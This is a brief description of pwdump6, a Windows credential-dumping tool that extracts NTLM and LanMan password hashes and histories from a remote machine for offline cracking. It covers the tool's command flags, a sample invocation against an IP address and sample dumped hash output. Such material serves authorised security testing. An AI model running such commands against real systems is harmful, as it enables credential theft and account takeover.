Pwdump6

This is a modified version of pwdump3e, and is able to extract NTLM and LanMan hashes from a Windows target, (The use of Syskey will not stop this process).  It will also extract password histories if they are available. Output from this tool and be directly imported into programs such as L0phtcrack etc. where your dictionary or hybrid attack can be carried out against the dumped hashes.

Note: - Older variants have sometimes had a tendency to crash the LSASS service and cause a reboot of the box, this issue no longer effects this variant.  Target machines running McAfee Antivirus may also cause the CPU to ramp to 100% if not turned off

Installation:

Just simply download and extract the zip file.

You must have admin credentials for the remote machine to be tested.

It is available from here.

Execution:

pwdump [-h][-o][-u][-p] machineName
 

    -h     Prints the usage message and exits
    -o     Specifies a file to which to write the output
    -u     Specifies the user name used to connect to the target
    -p     Specifies the password used to connect to the target
    -s     Specifies the share to be used on the target, rather than searching for one

Sample output:

C:\PwDumpRelease>pwdump -u hacker -p password 192.168.1.1

pwdump6 Version 1.4.0 by fizzgig and the mighty group at foofus.net
Copyright 2006 foofus.net

This program is free software under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program
and the GNU GPL for further details.

Using pipe {B15D4BF2-970E-4D52-9910-12A0476AD898}
Key length is 16

Administrator:500:NO PASSWORD*********************:NO PASSWORD******************
***:::
ASPNET:1004:3CED43EE2B6F79553F211111D2509C89:2A39F8C2138329F953111D035C1E99AB:::

hacker:1006:3CED43EE2B6F79553F211111D2509C89:2A39F8C2138329F953111D035C1E99AB::
:
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
HelpAssistant:1005:C5C111117DB4E3E7C1E86A266265BCA9:F6B11111D3531AA18821F8B087AE
2610:::
jimbob:1008:D4BB2506BED811111AD3B435B51404EE:F86289110031111131EA405EBED7BCDB:::
spam:1007:4A9C2A6089E11111AAD3B435B51404EE:50C4D3BB4211118AB764F247C20A904::
:
SUPPORT_388945a0:1002:NO PASSWORD*********************:396123D1181D90716BC3D7A7B
4D7B15F:::
Completed.